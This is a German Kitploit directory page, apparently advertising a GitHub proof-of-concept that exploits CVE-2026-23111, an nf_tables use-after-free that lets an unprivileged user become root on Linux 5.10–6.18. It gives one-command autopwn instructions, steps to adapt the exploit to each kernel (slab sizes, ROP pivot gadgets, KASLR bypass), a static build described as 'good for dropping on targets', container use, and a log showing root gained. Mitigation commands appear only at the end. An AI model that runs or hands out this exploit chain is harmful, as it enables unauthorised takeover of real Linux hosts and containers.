Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-23111-POC-noddlenpottato — CVE-2026-23111 nf_tables catchall UAF — nicht privilegierte LPE für Linux 5.10-6.18. Auto-adaptiver Exploit mit KASLR-Bypass, beliebigem Kernel-Read und ROP-Chain. Unterstützt Debian, Ubuntu, RHEL, Fedora. C/Python/Rust + autopwn. | Kitploit
Tools/GitHubGitHub/knz-source/cve-2026-23111-poc-noddlenpottato
Privilege EscalationExploitationBinary-Exploitation
GitHubknz-source/cve-2026-23111-poc-noddlenpottato

CVE-2026-23111-POC-noddlenpottato

CVE-2026-23111 nf_tables catchall UAF — nicht privilegierte LPE für Linux 5.10-6.18. Auto-adaptiver Exploit mit KASLR-Bypass, beliebigem Kernel-Read und ROP-Chain. Unterstützt Debian, Ubuntu, RHEL, Fedora. C/Python/Rust + autopwn.

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
64vor 29 TagenNoch nicht geprüft

CVE-2026-23111 — noddlenpottato

nf_tables Catchall-UAF → unprivilegierte LPE. Vom Benutzer zum Root auf den meisten Linux-Kerneln 5.10—6.18.

passt sich automatisch an den Zielkernel an — erkennt Struct-Offsets, löst Symbole auf, findet ROP-Gadgets, bestimmt den Slab-Cache, generiert einen maßgeschneiderten Exploit, kompiliert und führt ihn aus.

nf_tables Catchall-UAF → LPE ohne Privilegien. Ein normaler Benutzer wird auf den meisten Linux-Kerneln 5.10—6.18 zu Root.

adaptiert sich automatisch an den Zielkernel — erkennt Struct-Offsets, löst Symbole auf, findet ROP-Gadgets, bestimmt den Slab-Cache, erzeugt einen maßgeschneiderten Exploit, kompiliert und führt aus.

Übersicht über die Exploit-Kette

Exploit-Kette

Slab-Reclaim-Strategie

Slab-Reclaim

die Schwachstelle / die Verwundbarkeit

EN: invertierte Genmask-Prüfung in nft_map_catchall_activate() (net/netfilter/nf_tables_api.c). Während des Transaktionsabbruchs überspringt der Handler inaktive Catchall-Elemente, die reaktiviert werden müssen, und verarbeitet aktive, die das nicht müssen. Dies führt dazu, dass chain->use ohne ordnungsgemäße Wiederherstellung dekrementiert wird, was DELCHAIN auf einer weiterhin referenzierten Chain ermöglicht — was einen UAF erzeugt.

PT: invertierte Genmask-Prüfung in nft_map_catchall_activate() (net/netfilter/nf_tables_api.c). Während des Transaktionsabbruchs überspringt der Handler inaktive Catchall-Elemente, die reaktiviert werden müssen, und verarbeitet aktive, die das nicht müssen. Das bewirkt, dass chain->use ohne angemessene Wiederherstellung dekrementiert wird, sodass DELCHAIN auf einer immer noch referenzierten Chain möglich ist — was einen UAF erzeugt.

die fehlerhafte Bedingung:

root@kitploit:~
// WRONG (actual code) — skips the elements that need reactivation
if (!nft_set_elem_active(ext, genmask))
    continue;

// CORRECT (what it should be) — skips elements already active
if (nft_set_elem_active(ext, iter->genmask))
    return 0;

was du bekommst / was du erhältst

  • beliebiger Kernel-Read — liest 8 Bytes von jeder virtuellen Kernel-Adresse, unbegrenzt oft
  • KASLR-Bypass — leakt die Kernel-Basis aus dem seq_operations-Reclaim eines freigegebenen Chain-Namens
  • vollständige LPE — commit_creds(init_cred) per ROP-Kette mit KPTI-sicherem Rücksprung in den Userspace
  • funktioniert als unprivilegierter Benutzer — benötigt nur unshare -rUn (User- und Network-Namespace)
  • funktioniert in Containern — Kubernetes-Pods, Docker-Container (erlangt Root im Container-Namespace)

betroffene Versionen / betroffene Ausgaben

Der Fehler wurde in 6.1.36 (Backport) eingeführt und existiert in mehreren LTS-Zweigen:

Das deckt im Grunde jede große Enterprise-Linux-Distribution ab, die zwischen 2023 und 2026 ausgeliefert wurde.

Schnellstart

root@kitploit:~
git clone https://github.com/Knz-source/CVE-2026-23111-POC-noddlenpottato
cd CVE-2026-23111-POC-noddlenpottato
python3 autopwn.py

oder Schritt für Schritt / oder schrittweise:

root@kitploit:~
python3 checker.py --detailed          # check if vulnerable / verifica se é vulneravel
python3 scripts/extract_offsets.py     # grab kernel offsets / pega offsets do kernel
python3 scripts/find_gadgets.py        # find ROP gadgets / encontra gadgets ROP
make                                   # build the exploit / compila o exploit
./exploit                              # pop root

Repo-Struktur / Struktur des Repos

root@kitploit:~
.
├── autopwn.py                  full auto — detect, extract, compile, exploit
├── checker.py                  vulnerability checker (version, modules, userns, BTF)
├── exploit_61.c                base exploit (Debian 6.1.172 offsets, template for autopwn)
├── exploit/
│   ├── exploit.c               C exploit
│   ├── exploit.py              python wrapper with retry logic
│   └── exploit.rs              rust port (compiles static with musl)
├── scripts/
│   ├── extract_offsets.py      BTF/pahole offset extractor
│   ├── find_gadgets.py         ROP gadget finder (objdump/nm)
│   ├── slab_check.sh           slab cache analyzer
│   └── install_deps.sh         dependency installer
├── img/                        diagrams
├── Makefile                    build targets (C, Rust, deps)
├── EXPLOITATION.md             deep dive into the 5-phase exploit chain
├── DEBUGGING.md                step by step offset extraction and gadget hunting
└── CONSIDERATIONS.md           edge cases, bypasses, pitfalls

wichtige technische Anpassungen / zentrale technische Anpassungen

Slab-Größe ist entscheidend

sizeof(nft_chain) variiert zwischen verschiedenen Kernel-Builds. Falsche Spray-Größe = stiller Fehlschlag:

root@kitploit:~
debian 6.1.172:   120 bytes → kmalloc-128
ubuntu 6.5.x:     136 bytes → kmalloc-192
ubuntu 6.8.x:     152 bytes → kmalloc-192
debian 5.15.x:    112 bytes → kmalloc-128

Der Userdata-Spray MUSS die exakte Struct-Größe verwenden (nicht die Slab-Größe). autopwn.py erledigt das automatisch über pahole.

Das Pivot-Gadget variiert

Das Register, das den expr-Zeiger an der eval()-Aufrufstelle hält, ändert sich zwischen Kernel-Versionen:

KernelRegistererforderliches Gadget
6.1.x (debian)rbpleave; jmp __x86_return_thunk
6.5+ (ubuntu)rbxmov rsp, rbx; ret oder push rbx; pop rsp; ret

Falsches Gadget = sofortiger Kernel-Panic. Überprüfe immer durch Disassemblieren von nft_do_chain.

Retpoline

Moderne Kernel ersetzen alle ret durch jmp __x86_return_thunk. Die Gadget-Suche muss das berücksichtigen — du wirst kein pop rdi; ret finden, sondern pop rdi; jmp __x86_return_thunk.

Build

root@kitploit:~
# C (recommended — fastest, proven)
make

# Rust (static binary with musl — good for dropping on targets)
make rust

# install build deps
make deps

Beweis

root@kitploit:~
$ id
uid=1000(user) gid=1000(user)

$ ./exploit
[*] CVE-2026-23111 nftables UAF -> LPE
[+] chain freed (kmalloc-128) + name freed (kmalloc-32)
[pwn] kbase = 0xffffffff9a400000
[pwn] my_task found at 0xffff8e4a1c084190
[pwn] canary = 0x5c6fa95dca98e100
[pwn] commit_creds(init_cred) -> ROP triggered
[+] root

# id
uid=0(root) gid=0(root) groups=0(root)

Dokumentation / Doku

Dokumentwas / was
EXPLOITATION.mdvollständiger Überblick über die Exploit-Kette mit Code, EN/PT

Gegenmaßnahmen / Abschwächungen

root@kitploit:~
# update kernel to fixed version
apt upgrade linux-image-$(uname -r)

# or disable unprivileged user namespaces
sysctl -w kernel.unprivileged_userns_clone=0

# or blacklist nf_tables
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/blacklist.conf

Credits

Die ursprüngliche Schwachstellenanalyse stammt aus dem nf_tables-Advisory. Die vollständige Entwicklung der LPE-Kette, die Slab-Analyse, die Multi-Kernel-Anpassung, die Pivot-Gadget-Forschung und das Autopwn-Tooling wurden unabhängig entwickelt.

Tool herunterladen
Kernel-Bereichbehoben inbetroffene Distributionen
6.13 — 6.18.96.18.10Fedora 41+, Arch (Rolling)
6.7 — 6.12.696.12.70Ubuntu 24.04/24.10, Fedora 39/40
6.1.36 — 6.1.1626.1.163Debian 12 (Bookworm), RHEL-9-Derivate
5.15.121 — 5.15.1995.15.200Ubuntu 22.04 LTS, Debian-11-Backports
5.10.188+verschiedeneDebian 11 (Bullseye), RHEL-8-Derivate
DEBUGGING.md
wie du jeden Offset und jedes Gadget für deinen Kernel extrahierst, EN/PT
CONSIDERATIONS.mdRandfälle, Bypasses, Container, SMEP/SMAP, Erkennung, EN/PT